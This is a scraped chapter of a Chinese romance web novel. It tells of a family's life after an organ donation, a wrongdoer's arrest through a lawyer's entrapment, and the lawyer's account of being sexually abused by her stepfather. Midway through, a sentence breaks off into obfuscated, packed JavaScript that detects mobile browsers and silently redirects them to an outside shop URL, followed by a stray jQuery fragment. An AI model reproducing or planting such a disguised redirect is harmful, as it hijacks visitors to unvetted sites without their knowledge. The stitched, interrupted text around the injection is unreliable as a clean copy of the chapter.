文趣网 > 其他小说 > 碰巧相爱[先婚后爱] > 39. 结果
    “抱歉,从医学伦理角度,我不能告诉您受捐者是谁,受捐者也不会知道捐献者是谁。”

    医生深深地鞠了一躬,“非常感谢您和钱皓,你们的伟大之举挽救了很多条生命,谢谢!”

    宁舒扯起嘴角,提线木偶一般僵硬地转身,拖着步子走在漫长的廊道上。

    从此她便孤身一人,毫无牵挂。

    “新年第一天,不能哭。”

    廊道尽头传来熟悉的声音,她愣了一下,心里忽然升起了一些隐秘的、不易察觉的期待,于是,她缓缓走了过去。

    走出墓园,宁愿一眼便看到了门口大树下侯着的两人。江慕移来询问的视线,她稍慢一步落后宁舒,微不可察地摇了摇头。

    “小愿,我走了,再见。”宁舒停下脚步,侧身看过来,“不要去猜,也不要介怀,可以当做是他,但不要认定是他。”

    这一句是似而非的话不知道究竟是在劝告她,还是在安慰自己。

    宁愿听明白了她的意思,点头告别。

    她久违地扬起嘴角,露出一抹僵硬的笑,走上前了几步,在里里面前站定,“里里,有空和姐姐来找阿姨玩。”

    “好,宁阿姨,你要好好休息!”里里乖巧地点头。

    “乖孩子,”她轻柔地抚摸她的发顶,眼里蕴起慈爱,“阿姨走了,再见。”

    “我们也走吧。”

    -

    新年的冬天格外的冷,昨晚下了半夜的雨夹雪,清晨才停。

    窗外,柏油路湿漉漉的,一瓣梅花落入水洼,被风吹得微微摇曳。日出带着倦意,苍白而稀薄地趴在梅花树上,影子也恹恹的。

    宁愿稍一激灵,放下窗帘,连忙缩回床上把手和脚一起贴在江慕身上,“里里今天要去复诊,麻烦你陪她去医院,我上午考完试去医院和你们汇合。”

    里里手术恢复得不错,之前因为病情几乎停滞的发育在严阿姨的悉心照料下猛地拔窜,已经快要追上同龄的孩子。

    她打算过了年直接去上二年级,宁愿应她要求,给她找了一个大学生家教,最近她天天在家学习上半学期的内容,期末考是赶不上了,老师说开学前一周给里里加一场“期末考”,如果表现不错,就可以直接回班。

    最大担忧解决后,宁愿的心不再高高悬起,眉眼间的忧虑全然散开,性子开朗后,视频的质量也跟着提升,找上门的推广合作也大大增加,她没有一股脑全接下,和江慕一起查阅资料、自己试用之后,确认不会“塌房”才会签下合同。

    坦白来说,之前和江慕相处或多或少会有“低人一等”的感觉,如今手头富裕,她自己有了底气,这种感觉也在日复一日的相处中渐渐消弭。

    江慕和她一样,都是经历了许多关系变化的人,所以格外珍惜如今安稳的生活。

    他们俩也不是那种会无缘无故发生争执的人,在旁人——里里和严阿姨看来,两人简直黏糊得厉害。

    “姐姐,哥哥,”里里嫌弃地捂住眼睛,又偷偷张开手指,“请照顾一下未成年人的感受,不要秀恩爱。”

    宁愿闻言抬眼,他的笑意落入眼中,情不自禁地扬起嘴角,“我们哪里秀恩爱了。”

    “你们俩只要站在一起,就散发着粉红泡泡。”里里一边说着还做了一个泡泡的手势。

    宁愿揉了揉她的脑袋,笑着说:“姐姐等会要考试,哥哥会带你去医院复查,然后中午我们出去吃饭。”

    “知道了!你昨天就说过啦!”

    “小鬼头。”她又用力地揉了揉她的发顶,随手从桌上拿了一个鸡蛋饼,和屋里的人挥挥手,“我走啦。”

    “路上小心,别忘了戴头盔。”江慕叮嘱道。

    “知道,拜拜。”

    前段时间她买了一辆小电驴,每天骑着上下学、外出拍摄、载着江慕去花鸟市场挑别墅庭院的植株。

    驶出枝繁叶茂的林荫道,穿过热闹的摆满小摊的人行道,宁愿抵达学校,和等在教室门口的室友一起进入教室。

    考试不算太难,至少对于她来说是不难的。但她还是老老实实地坐到了铃声响起才上交试卷。

    “终于结束了!”贾以时长叹一声,挽住她的胳膊兴奋道:“愿愿,寒假一起出来玩呀,我们去吃漂亮饭,叫上暖暖她们。”

    “好的呀,过完年我们要搬家,请你们来家里暖屋。”宁愿点头道。

    她们现在还是住在天景园,北山墅屋内的陈设太过简单,还得重新置办家具;庭院也只是之前临时的装饰。江慕找了一个园林设计师,这几天正大刀阔斧地改造。

    “那好呀!我必定奉上一份豪华大礼包!”贾以时捧场道。

    “小愿小愿。”宋暖从远处跑过来,挽着她另一边的胳膊,一脸神秘地压低声音说:“你没发现杨屹然很久没来学校了吗?”

    宁愿摇了摇头,实话实说:“我没注意……”

    “也是,你天天忙得不见人影,”她又凑近了一些,把声音压低更低,“听说他进去了。”

    “进去了?”

    江煜翻阅手上的文件,听到对面说的话连头也没抬,面不改色,只有眉梢微不可察挑了一瞬。

    “是。”女人身穿一套剪裁得体的黑色正装,化着淡妆,眉眼与宁愿有几分相似,都是修长的柳叶眉与圆润的大眼睛。

    “柯律,”江煜叹了一口气,有些无奈地看着她,“钓鱼执法可以吗?”

    柯欣耸了耸肩,“把人送进去就行,其余的,你知我知。”

    “能判几年?”

    “拿到了当年的关键证据,”她轻蔑地哼了一下,“这人渣竟然还拍了合照,再加上这一次的事,十年不成问题。”

    “那就交给你了,柯律,”江煜起身走到她的面前,伸出手掌,“他的父母那边我会搞定,我们,合作愉快。”

    “合作愉快。”

    宁愿赶到医院的时候,正好轮到里里做心超检查,江慕候在检查室门口没有进去,她走到他的身边,把手伸进他的大衣口袋,轻轻牵住了手。

    “杨屹然的事你听说了吗?”她问。

    江慕点点头,转过来看她,“刚刚知道,我哥和我说了。”

    江煜是一个聪明的商人,最擅长“做事稍留余地”,这也就意味着,他同样最清楚“不留余地”的程度。

    他把事情讲给董娇听,董娇听说

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17747416|209343||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    后给他推荐了自己的大学室友——柯欣。她专门负责这一类刑事案件。

    柯欣听了破口大骂,只片刻,又冷静下来,沉着脸问江煜:“你想怎么做?”

    “引蛇出洞。”

    “我来当这个诱饵。”柯欣立刻道。

    “不合适。”

    “我是律师,我最清楚怎么做才能一击必中并且直中要害,没人比我更合适了。”

    江煜依旧蹙眉,他自知这并不是一件光彩的事,而且也不安全。

    “我原本其实并不想当律师的。”柯欣突然出声,原本挺拔的脊背也微微地躬了下来,她偏过头对着董娇笑了一下,“娇娇应该知道,大二那年,我继父入狱的事情。”

    董娇点了点头。

    当时柯欣一周没来学校,回校后问她原因,她只是很平静地说了一句“继父入狱了”,她看出她不想多谈,便也没有继续追问。

    “那是我第一次坚定地意识到,自己的专业是真的有用的,是可以帮助手无缚鸡之力的女人的。”

    她陷入了回忆。

    “他是一个低俗的人,喜欢把性、器当做口头禅,那些挂在嘴边的话说着说着便成为了实际行动,起初不分场合地和我妈妈做私密的事……当着我的面,他看到我嫌弃厌恶的眼神反而更加来劲……”

    董娇从来没有听柯欣谈过家事。大学期间,她从来都是一丝不苟地出现在众人面前,永远穿着长袖长裤,留着厚重的刘海,一副黑框眼镜,高冷疏远地与所有人保持距离。

    即便是她,与她的关系,也只能称为室友,勉强够到“朋友”关系。

    “直到有一天,他开始在我的面前自/慰,我受不了了,和我妈说,她却让我不要乱说话,女孩子怎么能说这种话,她不相信我。”

    “我开始减少回家的次数,避免在家过夜,可终究是防不胜防,他竟然选择在我妈生日的时候对我下手,我拼命地喊叫、挣扎,把妈妈吵醒,她看到满床的狼藉终于相信我对她说的话。”

    “可她竟然让我隐瞒,她说如果没有他,家里便没有收入,我无法维持现在的生活,她也无法生活。”

    “我看着他在一旁,从慌张到无畏,他扬着唇,下巴高高抬起,睥睨着我的心灰意冷与我妈妈的卑微哀求。”

    柯欣从始至终都没什么表情,连语气都不曾波动,就像是在述说着别人的故事。

    直到此刻,她谈及结果,才露出一点点笑意。她说:“可我还是选择报警,把他送进了监狱。可惜,我翻遍法典也只让他判了六年。”

    “没有人比我更合适了。”柯欣抬起头看着他,坚定地说:“我有知识、有体力、有能力、有经验,曾经我发誓要把所有欺辱女性的人渣都送去他们该待的地方,让我去。”

    宁愿听完一时沉默。

    “小桃,怎么了?”江慕向前弯腰看着她。

    “嗯?”她怔了一下,回过神,才发觉自己一直掐着他的手心。

    她松了劲,轻声地说:“我想去看看她,那个小姑娘。”

    江慕停顿了一下,点头,“我陪你去。”

    “可不可以问问柯律师,她愿不愿意一起。”